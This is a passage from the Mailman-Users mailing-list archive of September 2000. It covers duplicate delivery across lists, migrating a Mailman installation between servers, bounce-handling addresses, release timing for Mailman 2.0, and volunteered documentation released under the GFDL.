References: <3D71CCC526F1D311A72600902773EC21209B51@CASCABELLA>
Message-ID: <39CFB465.696C2003@west.sun.com>

> admin(31661):     post.SetHeader('Date', time.ctime(time.time()))

Not sure what you mean by "current version", but 'post.SetHeader()' doesn't
appear anywhere in my 2.x source tree.  I suggest an update; I remember some
problem with this routine a while back, but it's an *old* issue.

The current version is 2.0beta6.



From gloria at ixi.net  Tue Sep 26 00:10:07 2000
From: gloria at ixi.net (Gloria O'Rourke)
Date: Mon, 25 Sep 2000 16:10:07 -0600
Subject: [Mailman-Users] ** Same person on several lists - eliminate duplicates?
Message-ID: <NEBBJPOLKLEHJDKMIINBCEHLCMAA.gloria@ixi.net>

Hi!

Could someone tell me how to handle the following situation?  Thanks!

Our office manages four different listservs.  John Doe might be on all four
of these lists.  When the same message needs to get out to all four of these
lists, John Doe gets four of the same message (because he has subscribed to
all four.)  This happens frequently with the groups we are working with.
Any suggestions?  Is there some way to eliminate the duplicates?

Thanks for any assistance,

gloria

Gloria O'Rourke, Deputy Director
Montana Rural Development Partners
118 E. Seventh St.; Suite 2A
Anaconda, MT   59711
ph:  406.563.5259  fx:  406.563.5476
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From chuqui at plaidworks.com  Tue Sep 26 00:13:18 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon, 25 Sep 2000 15:13:18 -0700
Subject: [Mailman-Users] ** Same person on several lists -
 eliminate duplicates?
In-Reply-To: <NEBBJPOLKLEHJDKMIINBCEHLCMAA.gloria@ixi.net>
References: <NEBBJPOLKLEHJDKMIINBCEHLCMAA.gloria@ixi.net>
Message-ID: <p0433010bb5f57de17d23@[17.216.27.250]>

At 4:10 PM -0600 9/25/00, Gloria O'Rourke wrote:

>Our office manages four different listservs.  John Doe might be on 
>all four of these lists.  When the same message needs to get out to 
>all four of these lists, John Doe gets four of the same message 
>(because he has subscribed to all four.)  This happens frequently 
>with the groups we are working with.  Any suggestions?  Is there 
>some way to eliminate the duplicates? 

Basically, you can't. This is something that can only be fixed on the 
client side.

think about it -- four pieces of email are being sent to four 
addresses, which all happen to end up in the guy's mailbox. But once 
they leave the sender's client, they're completely independent of 
each other, being sent to independent addresses (that happen to all 
go through the list server, but at different times). There's really 
no way for a list server to carry state to deal with something like 
this, and arguably, it shouldn't even fi it could.

the guy's mail client can do something about it, by recognizing 
duplicate Message-IDs or some other way of tracking duplicate 
messages, but it's in the hand of his client, not the sender or the 
list server.

chuq
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From bdbeers at digiscents.com  Tue Sep 26 00:29:29 2000
From: bdbeers at digiscents.com (Brian Beers)
Date: Mon, 25 Sep 2000 15:29:29 -0700
Subject: [Mailman-Users] ** Same person on several lists -eliminate du
	plicates?
Message-ID: <47578F4CE585D311A85D009027D6024137F718@DIGISCENTSNT>

> There's really
> no way for a list server to carry state to deal with something like
> this, and arguably, it shouldn't even fi it could.

I have worked with commercial packages that you could do that with.  They
cost in excess of $50K.  They have the user list stored in a database common
to all lists in the partition (a partition being something that limits the
visibility of the databases).  The particular package was UnityMail, however
it is a monster to administer and I would sooner gnaw off my right arm that
to suggest that someone use it.


-----Original Message-----
From: mailman-users-admin at python.org
[mailto:mailman-users-admin at python.org]On Behalf Of Chuq Von Rospach
Sent: Monday, September 25, 2000 3:13 PM
To: Gloria O'Rourke; mailman-users at python.org
Subject: Re: [Mailman-Users] ** Same person on several lists -eliminate
duplicates?

At 4:10 PM -0600 9/25/00, Gloria O'Rourke wrote:

>Our office manages four different listservs.  John Doe might be on
>all four of these lists.  When the same message needs to get out to
>all four of these lists, John Doe gets four of the same message
>(because he has subscribed to all four.)  This happens frequently
>with the groups we are working with.  Any suggestions?  Is there
>some way to eliminate the duplicates?

Basically, you can't. This is something that can only be fixed on the
client side.

think about it -- four pieces of email are being sent to four
addresses, which all happen to end up in the guy's mailbox. But once
they leave the sender's client, they're completely independent of
each other, being sent to independent addresses (that happen to all
go through the list server, but at different times). There's really
no way for a list server to carry state to deal with something like
this, and arguably, it shouldn't even fi it could.

the guy's mail client can do something about it, by recognizing
duplicate Message-IDs or some other way of tracking duplicate
messages, but it's in the hand of his client, not the sender or the
list server.

chuq
--
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"

------------------------------------------------------
Mailman-Users maillist  -  Mailman-Users at python.org
http://www.python.org/mailman/listinfo/mailman-users



From ashley at pcraft.com  Tue Sep 26 02:51:48 2000
From: ashley at pcraft.com (Ashley M. Kirchner)
Date: Mon, 25 Sep 2000 18:51:48 -0600
Subject: [Mailman-Users] Switching servers
Message-ID: <39CFF324.E084C18B@pcraft.com>

    Are there any caveats to moving a mailman installation from one
server to another?  So far, I thought of basically the following:

    - Shutdown sendmail on both servers (so messages don't get
      received/sent during down time)
    - Switch DNS IP to new server
    - Install fresh copy of Mailman on the new server (usual setup)

    o This is where it's somewhat blank to me, can I just tar/gz up the
      old installation of Mailman from the old server (sans stuff like
      ~/Mailman, ~/cgi-bin, etc.), and untar it on the new server?  Or
      do I have to selectively go through the files and grab only what
      it created?

    - Set up aliases
    - Configure webserver
    - Restart the whole shebang and hope everyone's happy...

    Both servers are the same when it comes to the OS that's on it, so
that won't be a problem.

    I'm sure I've forgotten something here...but, that's why I'm asking.

    AMK4

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From tpepper at opensales.com  Tue Sep 26 03:10:49 2000
From: tpepper at opensales.com (Tim Pepper)
Date: Mon, 25 Sep 2000 18:10:49 -0700 (PDT)
Subject: [Mailman-Users] Switching servers
In-Reply-To: <39CFF324.E084C18B@pcraft.com>
Message-ID: <Pine.LNX.4.21.0009251759590.27042-100000@tp.sf.opensales.com>

On Mon, 25 Sep 2000, Ashley M. Kirchner wrote:

>     o This is where it's somewhat blank to me, can I just tar/gz up the
>       old installation of Mailman from the old server (sans stuff like
>       ~/Mailman, ~/cgi-bin, etc.), and untar it on the new server?  Or
>       do I have to selectively go through the files and grab only what
>       it created?
> 
>     - Set up aliases
>     - Configure webserver
>     - Restart the whole shebang and hope everyone's happy...

I just went through this recently moving 2.0beta3 with exim on Debian to 2.0beta5
with qmail on Redhat.  I did:

- installed mailman on new server
- stopped mta on old server
- copied ~mailman/archives (using tar with -zxpf when uncompressing)
- copied ~mailman/lists
- for kicks ran ~mailman/bin/check_db {listname} on all the lists
-  "    "    "  ~mailman/bin/check_perms
-  "    "    "  ~mailman/bin/list_lists [-a]
- ran ~mailman/bin/move_list {listname} for each list
- copied aliases and ran newaliases
- (various things related to the change of mta)
- started mta on new machine

The only real problem I had was with the private archive url parameter in
'~mailman/Mailman/mm_cfg.py'.  I had to remove the trailing '/' for the web
page links to work but it had to be there for the move_list to run I
believe..some back and forth like that.  move_list would crash, I'd remove
it's lock file, and then it'd run.

Don't know if it's right, but in the end everything works...

Tim

--
*********************************************************
*  tim.pepper at opensales dot com     * Venimus, Vidimus, *
*  http://www.opensales.com         * Dolavimus         *
*********************************************************




From bug at aphid.net  Tue Sep 26 06:15:15 2000
From: bug at aphid.net (Chuck Dale)
Date: Tue, 26 Sep 2000 15:15:15 +1100
Subject: [Mailman-Users] How to track errors...
In-Reply-To: <200009251059.KAA48737@gateway.vsl.cua.edu>; from hwg@vsl.cua.edu on Mon, Sep 25, 2000 at 10:59:03AM +0000
References: <200009251059.KAA48737@gateway.vsl.cua.edu>
Message-ID: <20000926151515.M985@aphid.net>

Dear Anonymous.

Even if you aren't going to give us a name it would be nice to have
slightly more information about your system if you're looking for help.

How about OS, MTA, mailman version for a start.

Some logs to try:

    /var/log/maillog
    mailman/logs/*

Chuck

Wrote Guess Who..... on Mon, Sep 25, 2000 at 10:59:03AM +0000:
> Hello everyone, I setup a list about two months ago and it was working 
> just fine.  About two weeks ago it stopped working for no apparent 
> reason.  Mail goes in, but nothing comes out.  Where do I go to track 
> the error?  I've looked in the log file and have found nothing :/
> |UDontNoMe|
> 
> ------------------------------------------------------
> Mailman-Users maillist  -  Mailman-Users at python.org
> http://www.python.org/mailman/listinfo/mailman-users

               [ charles hamilton dale <bug at aphid.net> ]



From bwarsaw at beopen.com  Tue Sep 26 06:49:59 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 00:49:59 -0400 (EDT)
Subject: [Mailman-Users] Getting a Subscriber List
References: <025836EFF856D411A6660090272811E61D0766@EMAIL>
	<Pine.BSI.4.21.0009212002350.13469-100000@castro.queernet.org>
Message-ID: <14800.10999.221708.996895@anthem.concentric.net>

>>>>> "RBAK" == Roger B A Klorese <rogerk at QueerNet.ORG> writes:

    RBAK> Frankly, I'd rather write a check for someone to write the
    RBAK> documentation

Great!

If you're serious about that, I can put you in touch with BeOpen's
business people.  I'm not a technical writer, but if we could afford
to contract with one to produce some professional quality
documentation and donate that back to the open source community,
everybody would win.

Cheers,
-Barry



From bwarsaw at beopen.com  Tue Sep 26 06:57:03 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 00:57:03 -0400 (EDT)
Subject: [Mailman-Users] quick note for those ugrading mailman
References: <p04330105b5f088a9b00a@[209.239.169.197]>
Message-ID: <14800.11423.247046.517673@anthem.concentric.net>

>>>>> "CVR" == Chuq Von Rospach <chuqui at plaidworks.com> writes:

    CVR> If you ugprade mailman and that upgrade includes changes to
    CVR> the list page templates, the mailman upgrade will NOT upgrade
    CVR> existing lists.  You need to do that manually (there was a
    CVR> change to templates/subscribe.html in the current CVS, for
    CVR> instance)

Good point, thanks Chuq.  I've added this to the UPGRADING file.

Also please note that upgrading to 2.0b6 requires you to re-run the
configure script; running config.status is not sufficient due to some
recent changes to the autoconf scripts.  You can do a head of
config.status if you don't remember the options you originally ran
configure with.

Cheers,
-Barry



From rogerk at QueerNet.ORG  Tue Sep 26 07:12:44 2000
From: rogerk at QueerNet.ORG (Roger B.A. Klorese)
Date: Mon, 25 Sep 2000 22:12:44 -0700 (PDT)
Subject: [Mailman-Users] Getting a Subscriber List
In-Reply-To: <14800.10999.221708.996895@anthem.concentric.net>
Message-ID: <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org>

On Tue, 26 Sep 2000, Barry A. Warsaw wrote:
> If you're serious about that, I can put you in touch with BeOpen's
> business people.

I am... not a blank or open-ended one, but a decent-sized one.  It would
be helpful if the work could be done under the auspices of a non-profit,
but not necessary. 

-- 
ROGER B.A. KLORESE                                          rogerk at QueerNet.ORG
PO Box 14309		                                San Francisco, CA 94114
"There is only one real blasphemy -- the refusal of joy!"       -- Paul Rudnick




From bwarsaw at beopen.com  Tue Sep 26 07:32:20 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 01:32:20 -0400 (EDT)
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
References: <200009210414.VAA13358@utopia.west.sun.com>
	<05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>
Message-ID: <14800.13540.382246.115608@anthem.concentric.net>

>>>>> "aw" == alex wetmore <alex at phred.org> writes:

    aw> When is 2.0 final actually going to come out?  It has been
    aw> hinted at for months...

Release is set for the week after Python 2.0 final comes out.  That
currently puts Mailman 2.0 out on (lucky) Friday October 13th, but
that could slip if the Python release slips.  We've got to get that
out first.

Cheers,
-Barry




From chuqui at plaidworks.com  Tue Sep 26 07:33:00 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon, 25 Sep 2000 22:33:00 -0700
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
In-Reply-To: <14800.13540.382246.115608@anthem.concentric.net>
References: <200009210414.VAA13358@utopia.west.sun.com>
 <05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>
 <14800.13540.382246.115608@anthem.concentric.net>
Message-ID: <p04330101b5f5e5745caa@[209.239.169.197]>

At 1:32 AM -0400 9/26/00, Barry A. Warsaw wrote:

>Release is set for the week after Python 2.0 final comes out.  That
>currently puts Mailman 2.0 out on (lucky) Friday October 13th, but
>that could slip if the Python release slips.  We've got to get that
>out first.

Just to make sure we're all clear though, Mailman won't require 
Python 2.0, but will run under it, right?

-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From bwarsaw at beopen.com  Tue Sep 26 07:38:00 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 01:38:00 -0400 (EDT)
Subject: [Mailman-Users] Redirecting bounces?
References: <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>
	<MM.969562351.20079.solva@ifi.uio.no>
Message-ID: <14800.13880.617064.538738@anthem.concentric.net>

These questions are probably best asked on mailman-developers, but
I'll answer them here anyway...

>>>>> "TG" == Thomas Gramstad <thomas at ifi.uio.no> writes:

    TG> Yes, OK.  But that still doesn't answer my question: What
    TG> address does Mailman expect to receive bounces to in order to
    TG> start bounce processing?  Is it the list address or some other
    TG> address?

There are currently four addresses that every list has, and their
purposes are now documented in the big comment at the top of
cron/qrunner.  For a list called `listname', the addresses are:

listname         - postings to the list
listname-request - passes only through the email command processor
listname-admin   - passes through the bounce processor, but if no bounces
                   are detected, the message is forwarded to the list
                   owners.
listname-owner   - goes directly to the list owners without passing
                   through the bounce processor.

Note: See cron/qrunner for a diagram showing the complete flow of
messages through the system.  Also, I've played with listname-join and
listname-leave addresses, so it's possible something like this will
make it into 2.1.

Cheers,
-Barry



From chuqui at plaidworks.com  Tue Sep 26 07:47:24 2000
From: chuqui at plaidworks.com (Chuq Von Rospach)
Date: Mon, 25 Sep 2000 22:47:24 -0700
Subject: [Mailman-Users] Redirecting bounces?
In-Reply-To: <14800.13880.617064.538738@anthem.concentric.net>
References: 
 <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>
 <MM.969562351.20079.solva@ifi.uio.no>
 <14800.13880.617064.538738@anthem.concentric.net>
Message-ID: <p04330102b5f5e7e4ef5d@[209.239.169.197]>

At 1:38 AM -0400 9/26/00, Barry A. Warsaw wrote:
>There are currently four addresses that every list has, and their
>purposes are now documented in the big comment at the top of
>cron/qrunner.  For a list called `listname', the addresses are:
>
>listname         - postings to the list
>listname-request - passes only through the email command processor
>listname-admin   - passes through the bounce processor, but if no bounces
>                    are detected, the message is forwarded to the list
>                    owners.
>listname-owner   - goes directly to the list owners without passing
>                    through the bounce processor.
>

And beyond this, the MTA might have it's own addresses you might want 
to create. For instance, sendmail would use (if defined) 
owner-listname as the value of the message envelope, and where 
bounces would go (it users listname-owner if owner-listname isn't 
defined, I believe, but it's usually a good idea to define it 
explicitly).

Which remindes me -- Barry, even though it's officially deprecated, 
I've found it a *very* good idea to use Errors-To: on mail list 
messages, because while it's supposed to be obsolete, many of the 
mail systems out there that make list owners crazy by not following 
the rules still seem to support it. It's harmless to add, and it adds 
a layer of backwards compatibility for those sites out there still 
running ancient or badly managed software... Errors-To ought to be 
set to listname-owner for Mailman.

chuq
-- 
Chuq Von Rospach - Plaidworks Consulting (mailto:chuqui at plaidworks.com)
Apple Mail List Gnome (mailto:chuq at apple.com)

And they sit at the bar and put bread in my jar
and say 'Man, what are you doing here?'"



From bwarsaw at beopen.com  Tue Sep 26 07:54:10 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 01:54:10 -0400 (EDT)
Subject: [Mailman-Users] funkiness after reboot/clock loosing time
References: <200009210414.VAA13358@utopia.west.sun.com>
	<05ac01c023f5$c99db710$5bf83b9d@redmond.corp.microsoft.com>
	<14800.13540.382246.115608@anthem.concentric.net>
	<p04330101b5f5e5745caa@[209.239.169.197]>
Message-ID: <14800.14850.357691.910145@anthem.concentric.net>

>>>>> "CVR" == Chuq Von Rospach <chuqui at plaidworks.com> writes:

    >> Release is set for the week after Python 2.0 final comes out.
    >> That currently puts Mailman 2.0 out on (lucky) Friday October
    >> 13th, but that could slip if the Python release slips.  We've
    >> got to get that out first.

    CVR> Just to make sure we're all clear though, Mailman won't
    CVR> require Python 2.0, but will run under it, right?

Right.  I may be crazy, but I'm not insane. :)

-Barry



From claw at kanga.nu  Tue Sep 26 08:00:01 2000
From: claw at kanga.nu (J C Lawrence)
Date: Mon, 25 Sep 2000 23:00:01 -0700
Subject: Quality Mailman documentation (was Re: [Mailman-Users] Getting a Subscriber List)
In-Reply-To: Message from "Roger B.A. Klorese" <rogerk@QueerNet.ORG> 
   of "Mon, 25 Sep 2000 22:12:44 PDT." <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org> 
References: <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org> 
Message-ID: <16841.969948001@kanga.nu>

David Champion: There's a note for you at the bottom of this email.

On Mon, 25 Sep 2000 22:12:44 -0700 (PDT) 
Roger B A Klorese <rogerk at QueerNet.ORG> wrote:

> On Tue, 26 Sep 2000, Barry A. Warsaw wrote:
>> If you're serious about that, I can put you in touch with
>> BeOpen's business people.

> I am... not a blank or open-ended one, but a decent-sized one.  It
> would be helpful if the work could be done under the auspices of a
> non-profit, but not necessary.

An associatate of David Champion's, Chris Kolar has been working on
some rather good PDF and HTML based Mailman documentation.  You used
to be able to find it at:

  http://www.aurora.edu/~ckolar/mailman/

but that server appears to be down currently (no ping).  I found
that URL working from:

  https://listtest.uchicago.edu/mailman/listinfo

(which demonstrates a rather nice patch BTW) as documented in
David's post:

  http://www.python.org/pipermail/mailman-developers/2000-September/005422.html

and his later commentary at:

  http://www.python.org/pipermail/mailman-developers/2000-September/005430.html

I don't know if Chris Kolar is free to release/publish/donate the
work he's done to date (likely for the university), and I don't have
an email address for him.  Either way, its certainly something we
could do worse then model after.

David: Can you help dig up Chris Kolar and some chance at that
documetnation here?  As I recall, it was well written and certainly
deserving of a wide(r) audience.

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--



From dgc at uchicago.edu  Tue Sep 26 08:20:30 2000
From: dgc at uchicago.edu (David Champion)
Date: Tue, 26 Sep 2000 01:20:30 -0500
Subject: [Mailman-Users] Re: Quality Mailman documentation (was Re: Getting a Subscriber List)
In-Reply-To: <16841.969948001@kanga.nu>; from claw@kanga.nu on Mon, Sep 25, 2000 at 11:00:01PM -0700
References: <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org> <16841.969948001@kanga.nu>
Message-ID: <20000926012030.D25029@smack.uchicago.edu>

On 2000.09.26, in <16841.969948001 at kanga.nu>,
	"J C Lawrence" <claw at kanga.nu> wrote:
> 
> David Champion: There's a note for you at the bottom of this email.

Good call. :)

> An associatate of David Champion's, Chris Kolar has been working on
> some rather good PDF and HTML based Mailman documentation.  You used

Actually, I don't know Chris, but I know he reads this list. :)  I saw
his posting about his docs one day, and decided it would be a good
thing to link to -- although I probably should have asked permission
first.

>   https://listtest.uchicago.edu/mailman/listinfo
> 
> (which demonstrates a rather nice patch BTW) as documented in

(Aw, shucks.)

> David: Can you help dig up Chris Kolar and some chance at that
> documetnation here?  As I recall, it was well written and certainly
> deserving of a wide(r) audience.

I expect he'll pop up any moment now; I've cc:ed his address.

-- 
 -D.	dgc at uchicago.edu	NSIT	University of Chicago



From claw at kanga.nu  Tue Sep 26 08:35:14 2000
From: claw at kanga.nu (J C Lawrence)
Date: Mon, 25 Sep 2000 23:35:14 -0700
Subject: [Mailman-Users] Re: Quality Mailman documentation (was Re: Getting a Subscriber List) 
In-Reply-To: Message from David Champion <dgc@uchicago.edu> 
   of "Tue, 26 Sep 2000 01:20:30 CDT." <20000926012030.D25029@smack.uchicago.edu> 
References: <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org> <16841.969948001@kanga.nu>  <20000926012030.D25029@smack.uchicago.edu> 
Message-ID: <20337.969950114@kanga.nu>

On Tue, 26 Sep 2000 01:20:30 -0500 
David Champion <dgc at uchicago.edu> wrote:

> On 2000.09.26, in <16841.969948001 at kanga.nu>, "J C Lawrence"
> <claw at kanga.nu> wrote:

>>  David Champion: There's a note for you at the bottom of this
>> email.

> Good call. :)

<bow>

>> https://listtest.uchicago.edu/mailman/listinfo
>> 
>> (which demonstrates a rather nice patch BTW) as documented in

> (Aw, shucks.)

<carefully pokes with long sharp stick>

>> David: Can you help dig up Chris Kolar and some chance at that
>> documetnation here?  As I recall, it was well written and
>> certainly deserving of a wide(r) audience.

> I expect he'll pop up any moment now; I've cc:ed his address.

Great.  I've got good hopes for this comeing out well.

-- 
J C Lawrence                                 Home: claw at kanga.nu
---------(*)                               Other: coder at kanga.nu
http://www.kanga.nu/~claw/        Keys etc: finger claw at kanga.nu
--=| A man is as sane as he is dangerous to his environment |=--



From grimnar at redbrick.dcu.ie  Tue Sep 26 13:34:44 2000
From: grimnar at redbrick.dcu.ie (Colin Whittaker)
Date: Tue, 26 Sep 2000 12:34:44 +0100
Subject: [Mailman-Users] mailman run amuck
Message-ID: <20000926123444.A62880@enigma.redbrick.dcu.ie>

Using Mailman version 2.0beta5 on a linux 2.2.15 box.

I have a list with 32938 subscribers, all but one of whom are local to
this machine.

The list is setup so noone can post without approval from the list
admin. This was all working away happily until yesterday.

When the following started happening, this continues until I kill the
mailman process and stop sendmail and clean out the queue.

Sep 25 11:32:05 2000 (9837) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:32:44 2000 (9837) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:36:30 2000 (18730) post to unison-announce from uniservice at unison.ie, size=3639, 19438 failures
Sep 25 11:37:16 2000 (18730) post to unison-announce from uniservice at unison.ie, size=3639, 19438 failures
Sep 25 11:40:09 2000 (27537) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:41:03 2000 (27537) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:44:07 2000 (3946) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:44:49 2000 (3946) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:48:13 2000 (12807) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures
Sep 25 11:48:57 2000 (12807) post to unison-announce from uniservice at unison.ie, size=3639, 22438 failures

Now as you can imagine our customers aint happy with the fact that they
got several hundred copies of the email.

Anyone got any idea what caused this and how can i fix it.

Colin





From hwg at vsl.cua.edu  Tue Sep 26 11:40:00 2000
From: hwg at vsl.cua.edu (Guess Who.....)
Date: Tue, 26 Sep 2000 09:40:00 GMT
Subject: [Mailman-Users] How to track errors...
Message-ID: <200009260940.JAA52865@gateway.vsl.cua.edu>

> Dear Anonymous.
Sorry, |UDontNoMe| is just an alias I go by.  Julian is my name :)

> Even if you aren't going to give us a name it would be nice to have
> slightly more information about your system if you're looking for 
> help.
> How about OS, MTA, mailman version for a start.
FreeBSD 4.0-RELEASE
Sendmail (Default version in FBSD4.0, don't know what version it is off 
hand)
Mailman version 2.0beta5

> Some logs to try:
>     /var/log/maillog
Looked there :/  The only error I get there is (Just tried this from 
root to the list):

Sep 26 09:01:06 sabre1 sendmail[541]: JAA00541: 
from=<root at sabre1.sabresdomain.com>, size=298, class=0, pri=30298, 
nrcpts=1, msgid=<Pine.BSF.4.21.0009260900520.536-
100000 at sabre1.sabresdomain.com>, proto=ESMTP, relay=root at localhost

Sep 26 09:01:06 sabre1 sendmail[542]: JAA00541: 
to="|/usr/local/mailman/mail/wrapper post sabresdomain", 
delay=00:00:00, xdelay=00:00:00, mailer=prog, stat=Sent

>     mailman/logs/*
The only thing that I see in here that is suspicious is that qrunner 
sometimes cannot get a lock:
Sep 26 09:08:00 2000 (612) qrunner begining
Sep 26 09:08:02 2000 (612) Could not acquire qrunner lock
Sep 26 09:08:02 2000 (612) qrunner ended

I just ran that manually though and it seemed fine. The only other 
error that I see is this:
(timeout waiting for input during message collect

Any help is greatly appriciated!
Julian



From ckolar at admin.aurora.edu  Tue Sep 26 16:27:32 2000
From: ckolar at admin.aurora.edu (Christopher Kolar)
Date: Tue, 26 Sep 2000 09:27:32 -0500
Subject: [Mailman-Users] Re: Quality Mailman documentation
In-Reply-To: <20000926012030.D25029@smack.uchicago.edu>
References: <16841.969948001@kanga.nu>
 <Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org>
 <16841.969948001@kanga.nu>
Message-ID: <5.0.0.25.2.20000926091914.00b0c6f0@admin.aurora.edu>

At 01:20 AM 9/26/2000, David Champion wrote:
>On 2000.09.26, in <16841.969948001 at kanga.nu>,
>         "J C Lawrence" <claw at kanga.nu> wrote:
>
> > An associatate of David Champion's, Chris Kolar has been working on
> > some rather good PDF and HTML based Mailman documentation.  You used
>
>Actually, I don't know Chris, but I know he reads this list. :)  I saw
>his posting about his docs one day, and decided it would be a good
>thing to link to -- although I probably should have asked permission
>first.
>
> > David: Can you help dig up Chris Kolar and some chance at that
> > documetnation here?  As I recall, it was well written and certainly
> > deserving of a wide(r) audience.
>
>I expect he'll pop up any moment now; I've cc:ed his address.


Hello everyone, here I am.  I have been working on the finishing touches 
for the v2 documentation and it is pretty much close to ready.  We have 
been putting in increasingly loud requests with our administration for 
permission to release the new docs under the GFDL and we expect to have 
that approval in time to release the v2 documents on the official release date.

+++++
STOP PRESS
Strangely enough, while composing this note another message came in telling 
me that the AU administration has given approval for release of the 
documents under the GFDL:
         http://www.gnu.org/copyleft/fdl.html
I guess we need to hear from Barry now about implications for packaging &c.
+++++

Here at AU we have shifted to using Blackboard for most of our online 
instructional support, so we have not put as many resources into working on 
developing Mailman materials.  At this time we will have a revised version 
of the administrator's documents as well as a "what is the difference" 
document with only the changed sections for experienced admins who just 
want to know what is new.  We have not put any work into updating the user 
(list subscriber) documents.

I hope that this helps people with planning for the v2 rollout.  I will be 
posting announcements to the lists as news is available on the 
documentation status.

--chris

--
/////\\\\\/////\\\\\
  Christopher G. Kolar
    Director, Department of Instructional Technology
    Aurora University, Aurora, Illinois
  ckolar at admin.aurora.edu  --  www.aurora.edu/~ckolar
         [PGP Public Key ID: 0xC6492C72]




From bwarsaw at beopen.com  Tue Sep 26 17:27:10 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 11:27:10 -0400 (EDT)
Subject: [Mailman-Users] Re: Quality Mailman documentation
References: <16841.969948001@kanga.nu>
	<Pine.BSI.4.21.0009252211460.1632-100000@castro.queernet.org>
	<5.0.0.25.2.20000926091914.00b0c6f0@admin.aurora.edu>
Message-ID: <14800.49230.747211.949625@anthem.concentric.net>

>>>>> "CK" == Christopher Kolar <ckolar at admin.aurora.edu> writes:

    CK> Hello everyone, here I am.  I have been working on the
    CK> finishing touches for the v2 documentation and it is pretty
    CK> much close to ready.  We have been putting in increasingly
    CK> loud requests with our administration for permission to
    CK> release the new docs under the GFDL and we expect to have that
    CK> approval in time to release the v2 documents on the official
    CK> release date.

    CK> +++++ STOP PRESS Strangely enough, while composing this note
    CK> another message came in telling me that the AU administration
    CK> has given approval for release of the documents under the
    CK> GFDL: http://www.gnu.org/copyleft/fdl.html I guess we need to
    CK> hear from Barry now about implications for packaging &c.
    CK> +++++

I think given coverage under GFDL, and a "transparent" (in the words
of the GFDL) format, I'd be very happy to import the docs into the CVS
tree and distribute them with MM2.0.  Do you know what formats you
plan to release them in?

I've just pulled down the versions available on the website, and I'll
review for accuracy.  If you have newer versions, feel free to send
them to me.

Cheers,
-Barry



From rosemary.schamer at socialecology.com  Tue Sep 26 17:20:41 2000
From: rosemary.schamer at socialecology.com (Rosemary Schamer)
Date: Tue, 26 Sep 2000 08:20:41 -0700
Subject: [Mailman-Users] Changes not sticking
Message-ID: <167122.1242166055@[216.39.167.34]>

Hi,

I'm fairly new to mailing lists in general, and Mailman in particular. I'm trying to help someone administer a new list. I can make changes to the member list without any problems, but the person who's supposed to be the list administrator can't seem to. She makes changes (eg. removes someone from the list), submits them, and nothing seems to have happened. 

Anybody have any ideas?

Thanks!

Rose
-- 

Rose





From bwarsaw at beopen.com  Tue Sep 26 18:22:11 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Tue, 26 Sep 2000 12:22:11 -0400 (EDT)
Subject: [Mailman-Users] Redirecting bounces?
References: <Pine.LNX.4.21.0009201909360.14619-100000@fantomas.insite.com.br>
	<MM.969562351.20079.solva@ifi.uio.no>
	<14800.13880.617064.538738@anthem.concentric.net>
	<p04330102b5f5e7e4ef5d@[209.239.169.197]>
Message-ID: <14800.52531.967144.386127@anthem.concentric.net>

>>>>> "CVR" == Chuq Von Rospach <chuqui at plaidworks.com> writes:

    CVR> And beyond this, the MTA might have it's own addresses you
    CVR> might want to create. For instance, sendmail would use (if
    CVR> defined) owner-listname as the value of the message envelope,
    CVR> and where bounces would go (it users listname-owner if
    CVR> owner-listname isn't defined, I believe, but it's usually a
    CVR> good idea to define it explicitly).

For a long time bin/newlist was spitting out owner-listname
suggestions, but I ripped that out.  I don't remember the details, but
I think it had to do with sendmail compatibility problems.

    CVR> Which remindes me -- Barry, even though it's officially
    CVR> deprecated, I've found it a *very* good idea to use
    CVR> Errors-To: on mail list messages, because while it's supposed
    CVR> to be obsolete, many of the mail systems out there that make
    CVR> list owners crazy by not following the rules still seem to
    CVR> support it. It's harmless to add, and it adds a layer of
    CVR> backwards compatibility for those sites out there still
    CVR> running ancient or badly managed software... Errors-To ought
    CVR> to be set to listname-owner for Mailman.

Actually, shouldn't that be listname-admin, so Mailman can have a
